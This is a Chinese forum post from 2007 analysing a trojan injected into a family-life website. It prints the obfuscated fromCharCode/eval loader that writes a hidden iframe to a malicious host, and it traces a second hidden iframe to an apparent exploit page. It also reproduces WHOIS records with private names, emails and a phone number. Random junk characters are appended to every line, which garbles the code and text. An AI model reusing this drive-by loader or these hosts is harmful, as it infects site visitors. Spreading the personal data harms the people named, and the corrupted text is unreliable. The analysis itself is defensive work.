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[原创]一篇刚写的分析木马手记

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所在楼道

首发在我的博客里面, sy;_%,}N  
Gw)>i45 :  
http://www.areway.cn/?p=175 fG*366W  
]EZiPW-uy  
+nT(>RJR  
周末上线鸭子就Q我说他的站给挂了马,当时没太注意就直接打开了连接,截下了网页源码: +>wBGVvS  
          #0;ULZ99aH  
<script>t=’60,105,102,114,97,109,101, 9k[>(LC  
32,115,114,99,61,104,116,116,112,58,47,47, KWH l+p L  
102,114,101,101,46,117,45,117,117,117,46,99, 0xQ="aXE  
110,47,101,114,114,111,114,46,104,116,109, 8Mf{6&F=  
32,119,105,100,116,104,61,49,48,48,32,104, zwa%$U  
101,105,103,104,116,61,48,62,60,47,105,102, U%nLo[k  
114,97,109,101,62′; kKP<K+hH  
t=eval(’String.fromCharCode(’+t+’)');document.write(t);</script> ,aBo p#  
                                                                                                  _wKaFf  
<script>t=’60,105,102,114,97,109,101,32,115, j6_tFJT  
114,99,61,104,116,116,112,58,47,47,102,114, -@EAL:kY  
101,101,46,117,45,117,117,117,46,99,110,47, e=m=IVY #W  
101,114,114,111,114,46,104,116,109,32,119, mjtmN0^SR  
105,100,116,104,61,49,48,48,32,104,101,105, GnzKDDH '  
103,104,116,61,48,62,60,47,105,102,114,97, swh8-_[c/  
109,101,62′;t=eval(’String.fromCharCode(’+t+’)'); - .EH?{i  
document.write(t);</script> -x?I6>{  
                                                                                                  <//#0r*  
<html xmlns=” FELDz7DYya  
http://www.w3.org/1999/xhtml J*} warf&  
“> U'(@?]2 <G  
<head> ^Voi 4;  
<!– Published By Newasp.cc 2007-12-7-18:03:23 –> TppuEC>  
<meta http-equiv=”Content-Type” content=”text/html; charset=gb2312″ /> FbWcq_  
<title>首页 - 爱生活家庭网 j aEUz5  
                                                                                                                                                    T7bD t  
上面有一段 script的十进制加密字段,里面的大概内容是,把所有的字符放在函数t里面,最后用doucment.write(t)来把字符串写在网页里面。 <+mYC'p  
转换字符串后的大概内容是(谁点击后果自付): 88l\8k4r  
<script>t=’<iframe src=http://free.u-uuu.cn/error.htm width=……… 9$[PA jwk  
                                                                                                                                  v?=y9lEH@%  
查询玉米u-uuu.cn的详细信息: p&nPzZQL(  
Domain Name: u-uuu.cn %HAforH  
ROID: 20070901s10001s64972306-cn DQy<!Wb+  
Domain Status: ok ym =7EY?o  
Registrant Organization: 王雷 j @HOU~x  
Registrant Name: 王雷 [PW\l+i  
Administrative Email: czlovexs@126.com ?~p]Ey}~9  
Sponsoring Registrar: 北京万网志成科技有限公司 <n-}z[09  
Name Server:ns.yovole.com fZ5zsm'N  
Name Server:ns1.yovole.com z?DI4 O#Up  
Registration Date: 2007-09-01 17:54 9z$fDs}.q  
Expiration Date: 2008-09-01 17:54 5Y(<T~  
最后PING了一下地址 都没有什么…. 45aUz@  
                                                                                                b?kY`LC  
上虚拟机里面继续分析,IE里面打开上面的连接…查看源代码…..直接又有嵌套. ;[-TsX:  
<iframe src=http://www.foafau.info/ms15.htm width=1 height=1></iframe> ^tTASK  
<script language=”javascript” src=” F!_8?=|  
http://count43.51yes.com/click.aspx?id=4333375720&logo=6″></script a7@':Rb n  
> qbsmB8rh  
这个玉米应该有可能是木马作者的:  J^V}%N".  
foafau.info的详细信息: BH"OphE  
Access to INFO WHOIS information is provided to assist persons in ?XIB\7}  
determining the contents of a domain name registration record in the qC x|}5:  
Afilias registry database. The data in this record is provided by QB.QG!@  
Afilias Limited for informational purposes only, and Afilias does not <%iRa$i5  
guarantee its accuracy.  This service is intended only for query-based 4Y5lP00!}  
access. You agree that you will use this data only for lawful purposes Mm)yabP  
and that, under no circumstances will you use this data to: (a) allow, [2$mo;E?  
enable, or otherwise support the transmission by e-mail, telephone, or kfV}ta'^S  
facsimile of mass unsolicited, commercial advertising or solicitations |ns B'Q  
to entities other than the data recipient’s own existing customers; or [p+-]V  
(b) enable high volume, automated, electronic processes that send .C*mDi)wZ  
queries or data to the systems of Registry Operator, a Registrar, or ~jR4%VF  
Afilias except as reasonably necessary to register domain names or m!K`?P]:N  
modify existing registrations. All rights reserved. Afilias reserves J yO2P  
the right to modify these terms at any time. By submitting this query, g2;lEW  
you agree to abide by this policy. { MV,>T_  
Domain ID:D22418703-LRMS jP{&U&!i  
Domain Name:FOAFAU.INFO )! eJW(  
Created On:20-Nov-2007 16:05:42 UTC r@a]fTf  
Last Updated On:20-Nov-2007 16:05:44 UTC 5MCnGg@  
Expiration Date:20-Nov-2008 16:05:42 UTC ({OQ JBC  
Sponsoring Registrar:GoDaddy.com Inc. (R171-LRMS) Uc;~q-??#  
Status:CLIENT DELETE PROHIBITED :N^+!,i  
Status:CLIENT RENEW PROHIBITED Yu$QL@  
Status:CLIENT TRANSFER PROHIBITED OUk"aAo  
Status:CLIENT UPDATE PROHIBITED SF=TG84<  
Status:TRANSFER PROHIBITED R*=88ds  
Registrant ID:GODA-040110615 ^6On^k[|fw  
Registrant Name:liu hong 9 {wRqY  
Registrant Organization: Qhq' %LR  
Registrant Street1:beijing VIHuo,  
Registrant Street2: ,v%' 2[}  
Registrant Street3: c'.XC}  
Registrant City:beijing #CV]S4/^  
Registrant State/Province: M#_|WL~  
Registrant Postal Code:100000 'u:-~nSX)  
Registrant Country:CN PjD9D.  
Registrant Phone:+86.860108888777 i\,I)S%yJ  
Registrant Phone Ext.: p|C[T]J\@  
Registrant FAX: fX.1=BjXi  
Registrant FAX Ext.:  k^Q.lb {  
Registrant Email:bbbshiji@163.com Vu,e ]@  
Admin ID:GODA-240110615 Y4C<4L?  
Admin Name:liu hong P)l_ :;&  
Admin Organization: f"*k>=ETI  
Admin Street1:beijing =C2KHNc  
Admin Street2: vc :%  
Admin Street3: /&c2O X|Z  
Admin City:beijing g#MLA5%=u  
Admin State/Province: Gp{,v  
Admin Postal Code:100000 Cz)&R^  
Admin Country:CN nwp(% fBo  
Admin Phone:+86.860108888777 wFX9F3m  
Admin Phone Ext.: .g3=L  
Admin FAX: &7i&"TNptP  
Admin FAX Ext.: 2t4\L3  
Admin Email:bbbshiji@163.com Mf2F LrAh  
Billing ID:GODA-340110615 q3<kr<SP  
Billing Name:liu hong En:>c  
Billing Organization: 6`@b@Kd  
Billing Street1:beijing F"bz<{  
Billing Street2: =?c""~7  
Billing Street3: hrm<!uKn  
Billing City:beijing au04F]-|j8  
Billing State/Province: vK%*5  
Billing Postal Code:100000 -p>~z )  
Billing Country:CN -@e2/6Oi  
Billing Phone:+86.860108888777 d[>HxPwo  
Billing Phone Ext.: [~u&#!*W  
Billing FAX: f4 qVUU  
Billing FAX Ext.: zXM,cV/s   
Billing Email:bbbshiji@163.com ?G5,}%  
Tech ID:GODA-140110615 ?!K6")SE  
Tech Name:liu hong 9b&|'BBW  
Tech Organization: P}]o$nWT  
Tech Street1:beijing xbBqR _ H_  
Tech Street2: 4-t^?T: qF  
Tech Street3: 5f{P% x(  
Tech City:beijing :\vs kk),  
Tech State/Province: |{&M#qXe  
Tech Postal Code:100000 )S 7+y6f&*  
Tech Country:CN r\d(*q3B  
Tech Phone:+86.860108888777 43pe6 ^.  
Tech Phone Ext.: |mP};&b  
Tech FAX: ^$5 0[  
Tech FAX Ext.: 5Yhcnwdm!  
Tech Email:bbbshiji@163.com 'f!U[Qatg  
Name Server:NS27.DOMAINCONTROL.COM @zC6`  
Name Server:NS28.DOMAINCONTROL.COM (c>g7d<>n  
Name Server: l2LLM{B  
Name Server: p]%di8&;N  
Name Server: =C2sl;7~*  
Name Server: K Ax=C}9  
Name Server: }b1FB<e]  
Name Server: ":_II[FPY  
Name Server: o]~\u{o#.  
Name Server: d)e mTXB(  
Name Server: `0N7Gc  
Name Server: J Cq>;br.  
Name Server: _0jR({\  
                                                                                                          {G Jl<G1  
接着下载每个文件里面的代码: +]s,VSL5`  
一步一步看.. S~i9~jA  
>UMxlvTg&  
4SZ,X^]I>  
1vxRhS&FY  
N(Ru/9!y"  
ejlns ~  
都是十进制的代码,也懒得再分析了,有这个爱好的大家可以继续试试
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简单生活
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别笑我浅溥,天真的以为用一腔真诚就能感动这个冷漠的世界。
也别说我幼稚,竟想用不长的人生去诠释繁杂的红尘。
然而除了真诚,我还能给你什么,的确我真的一无所有!

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只看该作者 2 发表于: 2007-12-18
要是有全部 就好了 传上来
级别: 店掌柜
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只看该作者 1 发表于: 2007-12-17
看过了就是没看懂。。。
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